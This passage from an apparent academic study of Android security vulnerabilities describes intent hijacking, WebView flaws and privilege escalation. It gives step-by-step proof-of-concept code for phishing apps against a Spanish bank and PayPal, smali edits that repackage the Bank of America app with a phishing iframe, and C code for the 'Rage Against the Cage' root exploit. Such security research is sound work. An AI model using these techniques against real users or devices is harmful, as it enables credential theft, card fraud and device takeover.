show it, in turn 
IC-BT-T-3 The application shall send an SMS_SEND broadcast intent 
TABLE 11: BROADCAST THEFT TARGET REQUIREMENTS 
  
FIGURE 10: BROADCAST THEFT TARGET CLASS DIAGRAM 
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4.1.2.2 Activity Hijacking 
Overview 
Description 
As envisioned at the analysis, exporting activities (making them accessible from the outside) is 
a regular practice, that isn’t inherently insecure. However, when other components inside of 
the same application also use the exported name to call the activity, this may turn into a 
security risk, especially if the intent content is sensitive. 
When there isn’t an univocal option for selecting the receiving component, in the case of the 
Broadcast Intent, the user is prompted to choose which application he wishes to use. That’s 
not the case for the activity launch intents. 
In this case, the exported activity may declare a priority number, which will determine that the 
activity will be launched instead of another with a lower priority, while exported activities with 
a higher priority will take its place. 
Abstract / objectives 
 Application able to send an activity launch intent: 
o The activity shall be called the “exported” way (this is, the opposite to 
launching it using the package name). 
o Inside of the same application, an activity handling that intent shall be 
included. 
o The receiving activity shall be exported on the manifest, without any kind of 
priority. 
 Application that receives the launch intent instead 
o This activity shall be exported on the manifest, defining a priority higher than 
the legitimate application 
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Attacker 
Class diagrams 
Requirements 
Id Description 
IC-AH-A-1 The activity shall register for receiving an intent, at the manifest 
IC-AH-A-2 The priority of the exported activity shall be the highest allowed (to ensure it 
will be chosen instead of the legitimate one) 
IC-AH-A-3 The activity shall indicate that the malicious application obtained the 
information and the control, instead of the legitimate one 
TABLE 12: ACTIVITY HIJACKING ATTACKER REQUIREMENTS 
  
FIGURE 11: ACTIVITY HIJACKING ATTACKER CLASS DIAGRAM 
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Target 
Class diagrams 
Requirements 
Id Description 
IC-AH-T-1 The receiving activity shall register for receiving an intent, at the manifest 
IC-AH-T-2 The sending activity shall call the receiving activity the “exported” way, instead 
of through the component full name 
TABLE 13: ACTIVITY HIJACKING TARGET REQUIREMENTS 
  
FIGURE 12: ACTIVITY HIJACKING TARGET CLASS 
DIAGRAM 
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4.1.2.3 Service Hijacking 
Overview 
Description 
Just as it happens when exporting activities, exporting services has the same implications (it’s 
secure as long as it’s meant to be used by external applications. Again, if this method of calling 
the service is used from inside the application, an attack could effectively take place. 
Using the same priority system the exported activities uses, a different application could 
register for the same intent, once again. However, the implications for this are even more 
important in the case of services, since services are invisible to the user, and could easily go 
unnoticed. 
In the present case, a simple and harmless service will be used, such as a calculator, which 
receives two numbers as intent extras, sums them and returns the result. It will be a non- 
binding service, which will stop as soon as the result is returned. 
The malicious application, in turn, will export a service, registering it for receiving the same 
type of intent, and return a wrong calculation. 
Abstract / objectives 
 Application able to send an service launch intent. 
o The service shall be called the “exported” way (this is, the opposite to 
launching it using the package name). 
o Inside of the same application, a service handling that intent shall be included. 
 It receives two numbers as extras 
 Returns the sum of both upon finishing 
o The receiving service shall be exported on the manifest, without any kind of 
priority. 
 Application with 
o A service that receives the launch intent instead of the legitimate one 
 Higher priority 
 Returns wrong calculation 
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Attacker 
Class diagrams 
Requirements 
Id Description 
IC-SH-A-1 The service shall register for receiving an intent, at the manifest 
IC-SH-A-2 The priority of the exported service shall be the highest allowed (to ensure it will 
be chosen instead of the legitimate one) 
IC-SH-A-3 The service shall return a number to the caller, upon service termination 
TABLE 14: SERVICE HIJACKING ATTACKER REQUIREMENTS 
  
FIGURE 13: SERVICE HIJACKING ATTACKER CLASS DIAGRAM 
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Target 
Class diagrams 
Requirements 
Id Description 
IC-AH-T-1 The receiving service shall register for receiving an intent, at the manifest 
IC-AH-T-2 The activity shall call the receiving service using the “exported” qualifier 
IC-AH-T-3 The sent intent shall include two numbers as extras 
IC-AH-T-4 The service shall sum these numbers and return them upon finalizing 
IC-AH-T-5 The activity shall present the result of the service 
TABLE 15: SERVICE HIJACKING TARGET REQUIREMENTS 
  
FIGURE 14: SERVICE HIJACKING TARGET CLASS DIAGRAM 
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4.1.2.4 Malicious Broadcast Injection 
Overview 
Description 
Opposite to the Broadcast Theft attack, in this case the victim application is the receiver of the 
intent. It originates from the misconception that a receiver can only called through the action it 
registers for. 
When a broadcast receiver is set to act upon a certain action, a developer is likely to think that 
that code can only be executed when that action really takes place. However, if the action it’s 
registered for is a system action, this component becomes publicly available. 
Therefore, if the component doesn’t check – or doesn’t have a way to do so – the actual status 
of the system that might have originated the intent, and directly trusts the reception, 
unexpected behavior, or malware directed actions could take place. 
In this legitimate application, the registered action will be 
“android.intent.action.AIRPLANE_MODE”, the action that indicates that the airplane mode has 
changed at the system. 
The malicious application will just throw a broadcast intent to the component, that will be 
taken as if it were a true system broadcast intent, displaying a message upon reception. 
Abstract / objectives  
 Application that reacts to “android.intent.action.AIRPLANE_MODE” action 
o Displaying a message on reception 
 Application that sends an intent to the receiver application 
o Triggering the same message 
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Attacker 
Class diagrams 
Requirements 
Id Description 
IC-BI-A-1 The activity shall provide a mean to issue an intent to the target receiver 
TABLE 16: BROADCAST INJECTION ATTACKER REQUIREMENTS 
  
FIGURE 15: BROADCAST INJECTION ATTACKER CLASS DIAGRAM 
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Target 
Class diagrams 
Requirements 
Id Description 
IC-BI-T-1 The receiver shall register for receiving an 
“android.intent.action.AIRPLANE_MODE”  action, at the manifest 
IC-BI-T-2 On receive, the broadcast receiver shall issue a message, notifying the user of 
the airplane mode change 
TABLE 17: BROADCAST INJECTION TARGET REQUIREMENTS 
  
FIGURE 16: BROADCAST INJECTION TARGET CLASS DIAGRAM 
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4.1.2.5 Malicious Activity Launch 
Overview 
Description 
This one opposite to the Activity Hijacking attack, in this case the victim application is the 
receiver activity. This can only happen when the activity is exported, so that it’s publicly 
available for any component to launch. 
When an activity is exported, a developer should no longer suppose that the entries contained 
in the extras are sanitized, since they may or may not come from another component inside of 
the application, i.e. the developer doesn’t have control over the “parameters” that are passed 
to the activity. 
To the malware designer eyes, unchecked extras are point of entry to induce malicious 
behavior in an activity, to his own interests. 
Abstract / objectives 
 Create an Activity that: 
o Is exported (reachable from outside the application scope). 
o Takes extras from the calling Intent (without sanitization). 
 Create a component able to invoke the Activity, adding extras that will modify its 
behavior. 
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Attacker 
Class diagrams 
Requirements 
Id Description 
IC-MAL-A-
1 
The activity shall issue an Intent, containing extras used in turn by the Target 
activity 
TABLE 18: MALICIOUS ACTIVITY LAUNCH ATTACKER REQUIREMENTS 
  
FIGURE 17: MALICIOUS ACTIVITY LAUNCH ATTACKER CLASS DIAGRAM 
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Target 
Class diagrams 
Requirements 
Id Description 
IC-MAL-T-1 The activity shall be “exported” on the application manifest 
IC-MAL-T-2 On create, the activity will check for received extras, on the calling intent 
IC-MAL-T-3 Extras will be used as basis to direct the activity behavior, without proper 
sanitization, if any 
TABLE 19: MALICIOUS ACTIVITY LAUNCH TARGET REQUIREMENTS 
  
FIGURE 18: MALICIOUS ACTIVITY LAUNCH TARGET CLASS 
DIAGRAM 
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4.1.2.6 Malicious Service Launch 
Overview 
Analogous to the Malicious Activity Launch, a component will invoke a exported service, 
achieving functionality not defined in its permissions. 
The attacker application shall just contain an Activity, that invokes the service through an 
Intent, whilst the vulnerable application shall provide functionality on its service, that should 
otherwise be restricted by a permission. 
Attacker 
Class diagrams 
Requirements 
Id Description 
IC-MSL-A-1 The activity shall launch an Intent to the vulnerable service, upon user request. 
IC-MSL-A-2 The intent extra fields shall match the vulnerable service used parameters.  
TABLE 20: MALICIOUS SERVICE LAUNCH ATTACKER REQUIREMENTS 
  
FIGURE 19: MALICIOUS SERVICE LAUNCH ATTACKER CLASS 
DIAGRAM 
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Target 
Class diagrams 
Requirements 
Id Description 
IC-MSL-T-1 The service shall perform  interaction requiring a permission (which will be 
awarded at the manifest) 
IC-MSL-T-2 An Activity shall provide access to the service from the same application 
package 
IC-MSL-T-3 The service shall be exported on the application manifest. 
TABLE 21: MALICIOUS SERVICE LAUNCH TARGET REQUIREMENTS 
  
FIGURE 20: MALICIOUS SERVICE LAUNCH TARGET CLASS DIAGRAM 
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4.1.3 Reverse Engineering typology 
4.1.3.1 Repackaging 
Overview 
Description 
In this case, an already published application is selected, driven by the following factors: 
 The target application manages sensitive data 
 The target application is widespread, having a large user base 
For this matter a banking application was chosen, due to the sensitivity of the data it manages. 
More specifically, the chosen target application is the Bank of America personal banking 
service. According to the US Federal Reserve20, it’s the second largest bank in the United States, 
per total assets. 
Abstract 
The modifications to be performed to the target application shall fulfill the following, in order 
to depict a typical repackaging attack: 
Id Description 
RE-R- 1 The modifications shall be performed at source code level (application resources 
are more easily accessible, but less representative) 
RE-R- 2 The user interaction shall be maintained as is, in order to deceive frequent users 
(easiest approach is to replace the main activity with one of our own, but this 
misses the point of repackaging) 
RE-R- 3 Personal data shall be collected from the application 
TABLE 22: REPACKAGING TARGET APPLICATION REQUIREMENTS 
No formal diagrams are exposed, due to the nature of the attack.  
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4.1.4 Privilege Escalation typology 
4.1.4.1 Rage Against the Cage 
Overview 
Description 
Since this vulnerability exploitation doesn’t rely on object orientation, but on a sequence of 
structured programming, a flow chart will be used instead in order to show the inner workings 
of a possible attack. 
Abstract / objectives 
The attack depends on the successful execution of 4 different steps: 
 Identifying the ADB process. 
 Acknowledging the existence of NPROC on the system. 
 Forking the current process indefinitely, until being unable to do so, because of the 
number of processes limit. 
 Kill the identified ADB process. 
Upon successful completion, ADB will start and stay as root, on vulnerable devices.  
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Attacker 
Flowchart 
 
 
 
FIGURE 21: RAGE AGAINST THE CAGE FLOW CHART 
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4.1.5 Reverse Engineering typology 
4.1.5.1 Repackaging 
Hands on: Bank of America application 
In order to demonstrate how repackaging can be achieved, a proof of concept is coded, using 
the Bank of America Android application as our “victim”, in its 3.3.233 version (a more up to 
date version is now available on Android’s Play Store). 
First of all, we open the application, to better understand what the application does and how 
it’s shown to the user. The first thing we notice is that we’re presented with an EULA on a pop-
up window. That window, since it is part of the launcher activity (the easiest to locate in the 
AndroidManifest.xml) shall be our objective. 
 
FIGURE 22: BANK OF AMERICA INITIAL SCREEN  
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Disassembling 
The first performed action one we have obtained the APK (obtaining “APK Downloader”21, a 
third party application, since Google doesn’t allow direct download of the APK files), is to 
decompress and disassemble it, using the APK Tool. 
This yields: 
 The “res” folder mentioned before. 
 A “smali” folder, containing the disassembled code, in folders according to the 
packages names. 
 A decoded “AndroidManifest.xml”. 
Modifying 
The first step towards modification is to locate the point where modifications are to be 
performed. In this case, being the first launched activity inside of the application, it will 
probably be exposed by the AndroidManifest.xml, as the activity with the “home launcher” 
intent filter. 
Navigating to the package, in the “smali” folder, we locate the file named 
“StartupActivity.smali”, corresponding to the initial activity. Looking up for “eula” inside of the 
file takes us to the “createEulaDialog()” method. 
At this method, we can see it creates a WebView on the dialog, adds the license text inside, 
and attaches formatting as an HTML. 
Our objective will be to use this dialog to deceive the user into giving away personal data. 
To do so, we have three options: 
 Modify the content of the HTML file: 
o Statically, with a form that submits to a web application under our control. 
o Dynamically, embedding an iframe that points to a web application, with a 
form, under our control. This is the one chose, for simplicity and flexibility. 
 Redirecting the user to an external web site, changing the parameters passed to the 
WebView. 
The second approach followed, in order to keep the additional code footprint as small as 
possible. 
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5 Implementation 
In this phase, the outputs from both the analysis and the design phase are compiled into 
working proofs of concept, implemented using the Android SDK, able to achieve the defined 
success boundaries at the analysis phase, and following the requirements and diagrams 
exposed at the design phase. 
Design has been thought to present visual proof when success boundaries are reached, 
therefore screenshots shall be shown, presenting the sequence followed to get to that point 
from the user side experience. 
User interaction will be exposed, when necessary, pointing out the key steps.  
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5.1.1 WebView typology  
5.1.1.1 Sandbox Holes with Frame Confusion 
Overview 
Although additional implementation is provided, for the Sandbox Hole vulnerability, this proof 
of concept covers both. In general, it: 
 Demonstrates how a Java object is exposed to JavaScript code. 
 Allows intercommunication, between two frames from different domains: 
o Host website at “albertori.co”. 
o Frame source at “wysywyg.tk”. 
This proof is only meant to demonstrate malicious behaviors allowed by the Android API – in 
real world, this could be exploited through the ways exposed in the analysis phase: malicious 
iframe injected on a legitimate website, or application set on a malicious host page, with an 
iframe as victim. In this case, we’ll follow the first type of attack. 
It is important to remind that the source of the attack comes from the web, having an iframe 
out of our control, on a legitimate webpage and application. 
Invocation 
 
FIGURE 23: SANDBOX HOLES PROOF OF CONCEPT - MAIN SCREEN 
The WebView shows a website with a form, that allows storing a string and retrieving it, and an 
iframe, from an external source and different domain. 
On the application, the following interactions have taken place: 
1. JavaScript was activated: 
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wv.getSettings().setJavaScriptEnabled(true); 
2. An object was interfaced to the website JavaScript, containing functions for storing and 
retrieving a string: 
 
wv.addJavascriptInterface( 
  new BridgedJSFunctions(), 
  "storage"); 
 
On the other hand, the website provides a callback where to receive response: 
function showString(key, value) 
  { document.getElementById("input_text").value = value; } 
Interaction 
  
FIGURE 24: SANDBOX HOLES PROOF OF CONCEPT - INTERACTION 
 When the user sets a string, and saves it from the host page, we are notified of this interaction 
with the toast set up in our code. If we retrieve it again, we obtain our string back. 
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FIGURE 25: SANDBOX HOLES PROOF OF CONCEPT - ATTACK 
However, if we have a similar webpage (with a similar script, accessing the same functions), on 
the iframe, hosted at a different domain, and we interact with it, the same functions are 
reachable, breaking the Same-Origin Policy. 
 
FIGURE 26: SANDBOX HOLES PROOF OF CONCEPT - RESULT 
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5.1.1.2 Phishing application (Sandbox Hole + Javascript Injection + Event Sniffing) 
Overview 
This proof of concept represents a real world attack, focusing on one of the main banks in 
Spain. Such application will pretend to provide a legitimate access to the bank mobile website, 
and could either be uploaded to the Play Store (for a wide range of targets), or be directly 
installed on the victim’s device. 
The attacker intentions are: 
 To retrieve the user credentials, for the banking website. 
 To allow normal interaction of the user with the webpage. 
The second point is especially important, since a user that is aware of being stolen his login 
information, is highly likely to contact his bank and lock his account. 
Attack sequence 
Invocation 
 
 
FIGURE 27: PHISHING APPLICTION PROOF OF CONCEPT - MAIN SCREEN 
When opening the application, the user is apparently shown the regular login of the bank 
website for mobile devices. However, the following code has taken place, on the shown 
WebView: 
3. JavaScript was activated: 
  
wv.getSettings().setJavaScriptEnabled(true); 
 
4. A trigger was set up for injecting JavaScript on the page when it has already been 
loaded: 
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wv.setWebViewClient( 
  new WebViewClient() {            
    public void onPageFinished (WebView view, String url){ 
      view.loadUrl("javascript:…”); 
  }); 
 
The injected JavaScript code sets an action on the form submit, that calls another 
function with the id and password. 
 
5. An object was interfaced to the website JavaScript, containing a function for showing 
password and id on a toast: 
 
wv.addJavascriptInterface( 
  new BridgedJSFunctions(), 
  "BridgedJSFunctions"); 
 
Interaction 
  
FIGURE 28: PHISHING APPLICATION PROOF OF CONCEPT - INTERACTION 
When the user submits the login information: 
1. The JavaScript action on submit sends the data to the interfaced object. 
2. The interfaced object invokes a Toast to the user, showing the credentials he just 
entered 
a. Real world: This would be substituted by sending the information over to a 
server under the attacker’s control (e.g. just loading a URL with GET data) 
3. The user continues normal browsing of the bank website, unaltered. 
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5.1.1.3 PayPal fraud application (Event Sniffing and Hijacking + JavaScript 
Injection) 
Overview 
As another real world proof of concept, in this case a common situation is analyzed, exploiting 
event sniffing on WebViews with an online payment service, PayPal. 
Some developers choose to publish their applications for free, expecting to get revenue from 
voluntary donations, through a donation button. Others prefer to rely on their own licensing 
system, to avoid Play Store fees22, requiring the user to pay a license fee in order to execute the 
application. These are widespread models, well-known by users of the Android ecosystem. 
However, if a malicious developer wished so, using a WebView for handling the payment 
process could hand him login information, along with the credit cards data of the users. That’s 
the case we’ll cover here. 
Attack sequence 
Invocation 
 
FIGURE 29: PAYPAL FRAUD APPLICATION PROOF OF CONCEPT - MAIN SCREEN 
At some activity, the user is asked to perform a payment through PayPal. Clicking on the button 
will open the PayPal login, inside of the same application. Apparently, it’s the usual login 
webpage – but it has been modified to strip out everything but the login box, using JavaScript 
injection (using the same procedure of the previous attack). 
In this case, since we’re performing visual changes upon load, it’s important to hide the view 
until it has already been tampered with, using a WebViewClient with: 
 On the onPageFinished() trigger: 
 
view.setVisibility(View.VISIBLE); 
 
 On the onPageStarted() trigger: 
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view.setVisibility(View.INVISIBLE); 
The result is the following: 
 
FIGURE 30: PAYPAL FRAUD APPLICATION PROOF OF CONCEPT - MODIFIED LOGIN 
Interaction 
The user is then expected to enter his PayPal credentials, and to press submit. At this point, this 
is what user sees (caused, again, by a view.setVisibility(View.INVISIBLE) call). 
  
FIGURE 31: PAYPAL FRAUD APPLICATION PROOF OF CONCEPT - INTERACTION 
Since we have set a client holding triggers for sniffing and hijacking the navigation, once the 
user has logged in (the WebView has been redirected to a certain URL), the view performs the 
following browsing emulating user interaction: 
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FIGURE 32: PAYPAL FRAUD APPLICATION PROOF OF CONCEPT - AUTOMATED BROWSING 
This is achieved by using the WebViewClient trigger onPageFinished, checking for the 
current loaded URL, and loading the following step in our navigation, similarly to this: 
if(url.contains(landingUrl)){ 
  view.loadUrl(creditCardUrl);  
} 
 
At the last point of the automated browsing, we will have reached to the “Add a credit card” 
webpage. The reason behind reaching this page comes from having the user real name shown, 
along with preexistent credit card information. This further convinces the user he has accessed 
the legitimate website. 
Through JavaScript injection, the following elements are changed on the resulting page: 
 Title: “Add a credit card” into “Please confirm your payment information” 
 Submit button: “Add” into “Confirm payment (0.50 €)”. 
 Submit action (POST redirected to a URL under our control). 
The result is the following: 
  
FIGURE 33: PAYPAL FRAUD APPLICATION PROOF OF CONCEPT - RESULTS 
After submission, the attacker will hold the full credit card information of the victim.  
Login Landing 
Add credit 
card 
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5.1.2 Intercommunication typology 
The intercommunication typology proofs of concept intend to point out bugs developers 
introduce in their applications, active or passively (because of Android SDK design). Therefore, 
none of them can be considered real life examples, but depictions of behaviors existent in 
certain published applications. 
5.1.2.1 Broadcast Theft 
Overview 
In this example, we will demonstrate how data can be leaked to components outside of the 
originating application sandbox, using a broadcast intent, by registering a different application 
to receive that message as well. 
Such use happens for example when a result is to be returned from a service, to a component 
outside of the service sandbox, and no permission is required by a receiver. 
Attack sequence 
We issue an intent, from the first activity, as a broadcast using: 
Intent i = new Intent(); 
i.setAction("co.albertori.HELLO_AUDIENCE"); 
i.putExtra("text", "This is a public broadcast, that I intend 
Receiver to receive!"); 
sendBroadcast(i); 
 
Without any permission specified, we just need to register our legitimate receiver with the 
following, on the application manifest: 
<intent-filter> 
<action android:name="co.albertori.HELLO_AUDIENCE"></action> 
</intent-filter> 
 
The result of this regular interaction is the following: 
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FIGURE 34: BROADCAST THEFT PROOF OF CONCEPT - REGULAR BEHAVIOR 
However, if an attacker happens to implement such a receiver in an application that we later 
install in our device, he can proceed the same way. Just adding the previous intent-filter to the 
attacking application manifest enables it to receive the previous message as well (notice the 
different title on the screen): 
 
FIGURE 35: BROADCAST THEFT PROOF OF CONCEPT - HIJACKED MESSAGE 
This doesn’t necessarily means that applications using this method are vulnerable. However, 
the SDK doesn’t inform of it being a possible point of vulnerability, as it does with other 
behaviors, e.g. enabling JavaScript on a WebView.  
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5.1.2.2 Malicious Activity Launch 
Overview 
This vulnerability appears when there’s no proper sanitization of the inputs the application 
receives (the intent extras). An activity has no possible methods to know where the intent was 
originated so, if an activity makes use of these parameters, the developer must make sure they 
don’t allow a third party to induce malicious behavior. 
Attack sequence 
When the application is launched from the launcher, it just creates a WebView, and shows a 
predefined website on it, as the following: 
 
FIGURE 36: MALICIOUS ACTIVITY LAUNCH PROOF OF CONCEPT - REGULAR BEHAVIOR 
However, if launched with an intent, it could contain an extra string, named “url”, since it will 
be received with the following lines of code: 
Intent launchIntent = getIntent(); 
String receivedUrl = launchIntent.getStringExtra("url"); 
if(receivedUrl != null) 
 initialUrl = receivedUrl; 
 
This way, it will load any URL that is received. The created vulnerability resides in that there’s 
no check performed on the passed URL. Therefore, an attacker could invoke any webpage to be 
directly loaded, and more importantly, perform a JavaScript injection on the previously shown 
webpage, just passing a URL starting by “javascript:” (if JavaScript is activated on the 
WebView). 
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An example of this, can be shown from a different application component, issuing (where ‘i’ is 
an intent) : 
i.putExtra("url",”http://example.com”); 
startActivity(i); 
 
This yields: 
  
FIGURE 37: MALICIOUS ACTIVITY LAUNCH PROOF OF CONCEPT - RESULTS 
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5.1.2.3 Malicious Service Launch 
Overview 
We recall from the analysis that one of the interesting facts about the permissions system is 
that they aren’t enforced in application intercommunication. This is, two applications, each 
with a different set of permissions, can exchange messages without restriction (e.g. an 
application without Internet permission could perform a connection through Intents, 
exchanging messages with an application holding the permission). 
In this case, we’ll see how an application holding PHONE_CALL permission exposes a service 
that can be used in turn by another application. 
Attack sequence 
The vulnerable application structure has: 
 A service, launching a phone call when started. Exported on the manifest. 
 An activity, used to issue a call to a fixed number, through the service. 
 
FIGURE 38: MALICIOUS SERVICE LAUNCH PROOF OF CONCEPT - REGULAR BEHAVIOR 
As we can see above, the functionality is limited to a specific number (toll free, in this case), 
but the developer left the service exported on the application manifest, intentional or 
accidentally. 
So, if we want to perform a phone call from another application, without holding the 
permission, there’s a breach through which we can do so. We’ll just need to invoke the 
previously exported service, through an intent, using: 
Intent i = new Intent(); 
i.setAction("co.albertori.security.intercom.maliciousservicelaun
ch.CallService"); 
i.putExtra("phone_number", “123456789”);  
startService(i); 
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Applied to an activity, yields: 
 
FIGURE 39: MALICIOUS SERVICE LAUNCH PROOF OF CONCEPT - ATTACK 
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5.1.2.4 Malicious Broadcast Injection 
Overview 
In the Android system, it is possible to register broadcast receivers to receive intents from the 
system (about the current device status, battery, connectivity, etc). As envisioned in the 
analysis phase, this also automatically exports our receiver, even when this is not explicitly 
declared on the manifest. 
This, together with the fact that we cannot access the source of the calling intent, when a 
component is executed, results in allowing any component to introduce deceptive behavior on 
the application containing such receiver. 
In this case, the airplane mode status change is monitored, with a broadcast receiver triggering 
a toast when such change takes place. On the other hand, an application is set to directly 
invoke the receiver. 
Attack sequence 
As a harmless proof of concept, the broadcast receiver just triggers a toast informing of the 
airplane mode change. 
The screenshots below demonstrate what happens when the receiver is invoked through the 
use of: 
Intent intent = new Intent(Intent.ACTION_MAIN); 
 
intent.setComponent(new ComponentName( 
       
 "co.albertori.security.intercom.maliciousbroadcastinjection",   
 "co.albertori.security.intercom.maliciousbroadcastinjection.Air
planeReceiver")); 
 
sendBroadcast(intent); 
 
  
FIGURE 40: MALICIOUS BROADCAST INJECTION PROOF OF CONCEPT - ATTACKER ACTIVITY 
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5.1.2.5 Activity Hijacking 
Overview 
In the situation of an application delegating a task on another (such as sending an SMS 
message), an intent is launched, with a standardized definition (meant to allow new 
applications to be developed). 
The flaw in this system is exposed through this proof of concept, where collisions of activities 
registered for the same type of action are mishandled. 
Attack sequence 
Here, a SMS sending application is set, using a generic intent to launch a predefined text: 
Uri uri = Uri.parse("smsto:14085559999"); 
Intent intent = new Intent(Intent.ACTION_SENDTO, uri); 
intent.putExtra("sms_body", "Our SMS test.");   
startActivity(intent); 
 
That triggers a “Complete action using…” screen, where the user is prompted to choose which 
application should handle the intent. 
On the other hand, if we set a new activity to receive that intent, and we match a preexistent 
name, the whole package name will be shown, for the user to make an informed decision. 
However, with set the activity and application names to be the same than a commonly used 
application (in this case, “Messaging”), and we add a trailing space to the matching names, the 
system identifies both as different, and shows both matching names (shown below). 
This creates confusion in the user, making him bound to choose an activity that might steal the 
content of the SMS. 
  
FIGURE 41: ACTIVITY HIJACKING PROOF OF CONCEPT - NAME COLLISION ON THE PROMPT  
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5.1.2.6 Service Hijacking 
Overview 
Android system establishes a priorities system, where developers can define their own service 
priority, on the application manifest. This makes a developer able to override the execution of a 
service, just exporting a service of his own, with a higher priority. 
In this case, a simple calculator service is coded, with an activity that calls it awaiting a result. 
On the other hand, a malicious service is created, and exported with a higher priority at a 
different package, while using the same action definition. The latter effectively hijacks the 
service call. 
Attack sequence 
The service definition on the original and legitimate service is the following: 
<service 
  android:name=".CalculatorService" 
  android:exported="true"> 
  <intent-filter> 
  <action 
android:name="co.albertori.security.intercom.servicehijacking.Ca
lculatorService" /> 
 </intent-filter> 
</service> 
 
On the malicious service, the definition shares the action, but it adds a priority field: 
<intent-filter 
 android:priority="999"> 
<action 
android:name="co.albertori.security.intercom.servicehijacking.Ca
lculatorService" /> 
</intent-filter> 
 
As a result, when the activity performs a startService(), the lack of priority on the 
legitimate service allows the malicious service to be executed instead, showing a toast in this 
case. 
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FIGURE 42: SERVICE HIJACKING PROOF OF CONCEPT - REGULAR INTERACTION (LEFT) AND HIJACKED REQUEST 
(RIGHT) 
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5.1.3 Privilege Escalation typology 
5.1.3.1 Rage Against the Cage 
Overview 
This attack is based on the following: 
 ADB service is running, without privileges. 
 NPROC limit of processes is defined and finite. 
 Device ADB service version is flawed, running as superuser at first, and not revoking 
permission if the limit of processes has been reached. 
Therefore, a successful attack will: 
1. Find the ADB process id 
2. Create new processes until reaching the NPROC limit 
3. Kill the ADB process (will be automatically restarted) 
This exploit is largely based on code by the RATC exploit author23, which has been adapted for 
an easier understanding. 
Attack sequence 
The following refers to native C code, running as JNI. In this proof of concept, the HelloJNI 
example, included in the NDK package, was used. This code is located at the ‘jni’ folder, at the 
project root. 
Find the ADB process 
Since we know the binary name of the ADB service, we use the Linux /proc directory24 to find 
under which pid is the ADB process running. 
He “cmdline” file contains the command used for invocation of the process, thus every pid is 
checked for coincidence of this file contents and the “adb” string. There’s only one ADB 
process running, therefore, the first coincident pid shall be returned: 
 
 
pid_t get_adb_pid() 
{ 
 char buf[256]; 
 int i = 0, fd = 0; 
 pid_t found = 0; 
 
 // Check every process for the "adb" binary name 
 for (i = 0; i < 32000; ++i) { 
  sprintf(buf, "/proc/%d/cmdline", i); 
  if ((fd = open(buf, O_RDONLY)) < 0) 
   continue; 
  memset(buf, 0, sizeof(buf)); 
  read(fd, buf, sizeof(buf) - 1); 
  close(fd); 
  if (strstr(buf, "/sbin/adb")) { 
   found = i; 
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   break; 
  } 
        } 
        return found; 
} 
 
 
Reaching the NPROC limit 
Similarly to a fork bomb, the process is forked, following the following algorithm (code not 
depicted here, but profusely commented at the proof of concept project folder). 
 
FIGURE 43: RAGE AGAINST THE CAGE - REACHING NPROC LIMIT 
Restarting ADB 
Since the program already obtained the ADB pid, now it just: 
1. Kills the process: kill(adb_pid, 9); 
2. Forks itself into another process to reach the process limit once again. 
3. Waits for the new ADB process to be started (this time with superuser privileges): 
 for (;;) { 
  p = get_adb_pid(); 
  if (p != 0 && p != adb_pid) 
   break; 
  sleep(1); 
 
At this point the ADB service will be running as superuser, having access to virtually any 
resource available on the system. In order to exploit this, an attacker will subsequently start a 
terminal connection with the device, local or remotely.  
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5.1.4 Reverse Engineering typology 
5.1.4.1 Repackaging 
The first performed action one we have obtained the APK (obtaining “APK Downloader”25, a 
third party application, since Google doesn’t allow direct download of the APK files), is to 
decompress and disassemble it, using the APK Tool. 
This yields: 
 The “res” folder mentioned before. 
 A “smali” folder, containing the disassembled code, in folders according to the 
packages names. 
 A decoded “AndroidManifest.xml”. 
Modifying 
The first step towards modification is to locate the point where modifications are to be 
performed. In this case, being the first launched activity inside of the application, it will 
probably be exposed by the AndroidManifest.xml, as the activity with the “home launcher” 
intent filter. 
Navigating to the package, in the “smali” folder, we locate the file named 
“StartupActivity.smali”, corresponding to the initial activity. Looking up for “eula” inside of the 
file takes us to the “createEulaDialog()” method. 
At this method, we can see it creates a WebView on the dialog, adds the license text inside, 
and attaches formatting as an HTML. 
Our objective will be to use this dialog to deceive the user into giving away personal data. 
To do so, we have three options: 
 Modify the content of the HTML file: 
o Statically, with a form that submits to a web application under our control. 
o Dynamically, embedding an iframe that points to a web application, with a 
form, under our control. This is the one chose, for simplicity and flexibility. 
 Redirecting the user to an external web site, changing the parameters passed to the 
WebView. 
The second approach followed, in order to keep the additional code footprint as small as 
possible.  
We follow this sequence: 
1. Modify the head attached to the license text: 
const-string v5, "<html><head><style> * {color: #FFFFFF} 
</style></head><body>" 
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into 
 
const-string v5, "<html><head></head><body><iframe 
src='http://example.com' style='border: 0; width: 100%; height: 
100%; margin:0;'></body></iframe><!--" 
 
This will discard the legitimate text, using the comment tag (“<!---“) at the end of our new body 
tag, and load an iframe with no borders, that take over the whole space available, from the 
URL http://example.com) 
This is the result, if we repackage at this point: 
 
FIGURE 44: REPACKAGING PROOF OF CONCEPT - MODIFIED INITIAL SCREEN 
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2. Activate JavaScript 
The reason to do so is that the soft keyboard doesn’t work on this type of dialog, so a 
JavaScript keyboard will be used on the page. To do so, we add this: 
    invoke-virtual {v2}, Landroid/webkit/WebView;-   
>getSettings()Landroid/webkit/WebSettings; 
 
    move-result-object v4 
 
    const/4 v5, 0x1 
 
    invoke-virtual {v4, v5}, Landroid/webkit/WebSettings;-
>setJavaScriptEnabled(Z)V 
 
Which is equivalent to (with color coded equiavlences). 
 webSettings.setJavaScriptEnabled(true); 
 
3. Change the dialog title, replacing this: 
const v5, 0x7f08003c 
 
    invoke-virtual {v4, v5}, Landroid/app/AlertDialog$Builder;-
>setTitle(I)Landroid/app/AlertDialog$Builder; 
  
with this: 
 
    const-string v5, "Please register your device" 
 
    invoke-virtual {v4, v5}, Landroid/app/AlertDialog$Builder;-
>setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder
; 
 
That will effectively change the loaded title, from the resources, into a string defined 
statically. 
Once the URL is changed to one under our control, with a public HTML file available and 
designed specifically for this application, this is the result: 
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FIGURE 45: REPACKAGING PROOF OF CONCEPT - LOADING ATTACKER WEBSITE 
Repackaging 
Once the modifications are complete, the code must be repackaged. To do so, we keep the 
same file structure yielded by the APK Tool, and we run it again with the “build” parameter. 
We’ll need to sign the resulting file afterwards, with our own key. 
The application will recompile, but it won’t be able to replace a legitimate application once 
installed, therefore it can only turn into a directed attack once we have gained access to the 
target smartphone, installing this application and waiting for interaction. 
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6 Risk Assessment 
6.1 Criteria 
At the analysis phase, different types of vulnerabilities were discovered – on one side, system 
inherent vulnerabilities, when those were preexistent at the Android system, and have to be 
actively avoided by the developer, when possible; on the other side, developer side 
vulnerabilities, those introduced by developers when introducing insecure techniques on their 
applications. 
While developer-created vulnerabilities risk are difficult to be weighed in the Android 
ecosystem without a system-wide tool able to access the binaries of a significant sample from 
